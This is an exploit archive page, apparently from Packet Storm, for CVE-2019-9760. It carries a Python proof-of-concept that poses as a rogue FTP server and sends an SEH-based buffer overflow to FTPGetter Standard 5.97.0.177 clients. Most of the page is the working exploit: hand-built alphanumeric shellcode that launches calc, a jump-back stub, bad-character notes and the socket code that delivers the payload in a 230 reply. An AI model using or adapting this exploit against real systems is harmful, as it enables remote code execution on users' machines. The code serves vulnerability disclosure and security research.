what you don't know can hurt you

FTPGetter Standard 5.97.0.177 Remote Code Execution

FTPGetter Standard 5.97.0.177 Remote Code Execution
Posted Mar 14, 2019
Authored by w4fz5uck5

FTPGetter Standard version 5.97.0.177 suffers from a remote code execution vulnerability.

tags | exploit, remote, code execution
advisories | CVE-2019-9760
MD5 | c1f2598ede851e2d8bd34a3937a8b1db

FTPGetter Standard 5.97.0.177 Remote Code Execution

Change Mirror Download
# Exploit Title: FTPGetter Standard - v.5.97.0.177 Remote Code Execution
# Date: 05/03/2019
# Exploit Author: https://github.com/w4fz5uck5 | @w4fz5uck5
# Vendor Homepage: https://www.ftpgetter.com
# Software Link: https://www.ftpgetter.com/ftpgetter_setup.exe
# Version: v.5.97.0.177
# Tested on: Windows 7 x64
# CVE : CVE-2019-9760


import socket
import struct
import time
import sys

# badchars = (
# "\x59\x5a\x5b\x5c\x00\x0a\x0d\x20\x40\x1a\x80\x82\x83\x84\x85\x86\x87"
# "\x88\x89\x8a\x8b\x8c\x8e\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b"
# "\x9c\x9e\x9f\xc0\xc1" .....
# )

# x86/alpha_mixed simple fixer -> bytes "\x89\xe3\xd9\xe1\xd9\x73\xf4"
calc = ""
calc += "\x54" # push esp
calc += "\x58" # pop eax
calc += "\x05\x43\x06\x00\x00" # add eax,0x643
calc += "\x50" # push eax
calc += "\x5f" # pop edi
calc += "\x25\x4A\x4D\x4E\x55" # zerout EAX
calc += "\x25\x35\x32\x31\x2A" # zerout EAX
calc += "\x04\xab" # ADD AL,0xab
calc += "\x31\x07" # XOR DWORD PTR DS:[EDI],EAX
calc += "\x31\x47\x01" # XOR DWORD PTR DS:[EDI+1],EAX
calc += "\x31\x47\x02" # XOR DWORD PTR DS:[EDI+2],EAX
calc += "\x2C\x5B" # SUB AL,0x5b -> EAX = 0x50
calc += "\x31\x47\x03" # XOR DWORD PTR DS:[EDI+3],EAX
calc += "\x31\x47\x04" # XOR DWORD PTR DS:[EDI+4],EAX
calc += "\x90\x90\x90\x90" # padding

# "\x89\xe3"
calc += "\x54" # push esp
calc += "\x5b" # pop ebx

# "\xd9\xe1\xd9" xored: 0xab
calc += "\x72\x4a\x72"

# \x73\xf4 xored: 0x50
calc += "\x23\xa4"

calc += "\x58\x50\x59\x49\x49\x49"
calc += "\x49\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33"
calc += "\x30\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41"
calc += "\x30\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41"
calc += "\x42\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a"
calc += "\x4a\x49\x58\x59\x48\x4b\x4f\x4e\x48\x39\x47\x53\x45"
calc += "\x37\x56\x51\x38\x59\x32\x54\x51\x34\x5a\x54\x51\x4a"
calc += "\x51\x39\x4f\x39\x58\x31\x45\x43\x56\x51\x53\x42\x35"
calc += "\x49\x4b\x33\x48\x42\x55\x54\x45\x53\x43\x42\x45\x45"
calc += "\x31\x4b\x58\x56\x50\x56\x4d\x33\x39\x59\x32\x51\x4a"
calc += "\x5a\x32\x42\x4b\x31\x4d\x32\x43\x45\x4b\x32\x44\x4b"
calc += "\x4e\x53\x4d\x31\x49\x50\x38\x59\x34\x4b\x55\x31\x49"
calc += "\x30\x54\x51\x5a\x47\x55\x53\x57\x31\x4d\x54\x53\x4c"
calc += "\x59\x4b\x49\x42\x49\x38\x4d\x4a\x5a\x37\x4f\x4a\x33"
calc += "\x58\x34\x50\x4b\x4b\x51\x4b\x5a\x48\x4e\x4d\x42\x50"
calc += "\x53\x4b\x46\x48\x4e\x53\x4b\x36\x35\x58\x42\x44\x4e"
calc += "\x4c\x30\x52\x54\x4e\x4c\x4d\x59\x4d\x46\x4d\x37\x4c"
calc += "\x37\x4c\x4f\x50\x4b\x4c\x4f\x4c\x4c\x42\x57\x53\x49"
calc += "\x38\x58\x57\x4d\x44\x32\x4e\x57\x53\x38\x59\x5a\x43"
calc += "\x33\x35\x49\x44\x43\x35\x4c\x32\x45\x4b\x5a\x49\x35"
calc += "\x59\x51\x4a\x35\x4c\x50\x39\x4f\x4d\x41\x41"

# Encode addresses and create jmp esp
# Calculate jmp esp offset and put it on stack
jump_back = "\x55" # push ebp
jump_back += "\x58" # pop eax
jump_back += "\x05\x2b\x08\x00\x00" # add eax,2091
jump_back += "\x50" # push eax

# zerout EAX
jump_back += "\x25\x4A\x4D\x4E\x55" # and eax, 0x554e4d4a
jump_back += "\x25\x35\x32\x31\x2A" # and eax, 0x2a313235

jump_back += "\x3E\x33\x04\x24" # XOR EAX,DWORD PTR DS:[ESP] -> send stack addr to EAX
jump_back += "\x50" # push eax
jump_back += "\x5f" # pop edi

# zerout EAX
jump_back += "\x25\x4A\x4D\x4E\x55" # and eax, 0x554e4d4a
jump_back += "\x25\x35\x32\x31\x2A" # and eax, 0x2a313235

jump_back += "\x04\x81" # ADD AL,0x81
jump_back += "\x31\x07" # XOR DWORD PTR DS:[EDI],EAX
jump_back += "\x31\x47\x01" # XOR DWORD PTR DS:[EDI+1],EAX
jump_back += "\x90\x90\x90\x90" # padding

# Tool utilized: https://github.com/ihack4falafel/Slink
# All rights reserved to ihack4falafel
#
# \x54\x58\x66\x05\x04\x06\x50\xc3
jump_back += "\x25\x4A\x4D\x4E\x55" # and eax, 0x554e4d4a
jump_back += "\x25\x35\x32\x31\x2A" # and eax, 0x2a313235
jump_back += "\x05\x02\x03\x30\x62" # add eax, 0x62300302
jump_back += "\x05\x02\x03\x20\x61" # add eax, 0x61200302
jump_back += "\x50" # push eax
jump_back += "\x25\x4A\x4D\x4E\x55" # and eax, 0x554e4d4a
jump_back += "\x25\x35\x32\x31\x2A" # and eax, 0x2a313235
jump_back += "\x05\x32\x34\x33\x03" # add eax, 0x03333432
jump_back += "\x05\x22\x24\x33\x02" # add eax, 0x02332422
jump_back += "\x50" # push eax

# jump to second shellcode
jump_back += "\x7e\x65" # jmp esp xored: 0x81

# Overflow size 493
payload = "\x90" * 29
payload += calc # shellcode
payload += "\x90" * (493 - len(payload)) # padding
payload += "\x7e\x06\x90\x90" # NSEH
payload += "\x31\x20\x77\x00" # SEH -> POP ESI # POP EBX # RETN
payload += "\x90\x90\x90\x90"
payload += jump_back # jump to our calc
payload += "\x90" * 700 # Final padding

try:
host, port = "0.0.0.0", 21
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host, int(port)))
s.listen(5)
print "[*] Listening server at port: {}".format(port)
print "[*] Waiting for the client!.."

except Exception as e:
print "[-] Failed attempt to create bind socket!"
sys.exit(0)

try:
conn, client = s.accept()
conn.send("220 Welcome to server !\r\n")
conn.recv(1024)

print "[+] User started communication with server!"
conn.send("331 anonymous OK!\r\n")
conn.recv(1024)
print "[+] Received anonymous user from the client!"

print "[*] CALC shellcode Length: " + str(len(calc))
print "[*] Jump Back shellcode Length: " + str(len(jump_back))
print "[*] Payload final size: " + str(len(payload))
print "[!] Attempting to send payload!..."
conn.send("230 " + payload + "\r\n")

time.sleep(1)
print "[+] You should have your poped calc!"

conn.close()
s.close()
except:
print "[-] Failed attempt to send payload!"
sys.exit(0)

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

November 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    28 Files
  • 2
    Nov 2nd
    1 Files
  • 3
    Nov 3rd
    1 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    19 Files
  • 6
    Nov 6th
    65 Files
  • 7
    Nov 7th
    22 Files
  • 8
    Nov 8th
    18 Files
  • 9
    Nov 9th
    1 Files
  • 10
    Nov 10th
    1 Files
  • 11
    Nov 11th
    11 Files
  • 12
    Nov 12th
    65 Files
  • 13
    Nov 13th
    27 Files
  • 14
    Nov 14th
    22 Files
  • 15
    Nov 15th
    18 Files
  • 16
    Nov 16th
    1 Files
  • 17
    Nov 17th
    3 Files
  • 18
    Nov 18th
    22 Files
  • 19
    Nov 19th
    17 Files
  • 20
    Nov 20th
    15 Files
  • 21
    Nov 21st
    16 Files
  • 22
    Nov 22nd
    2 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close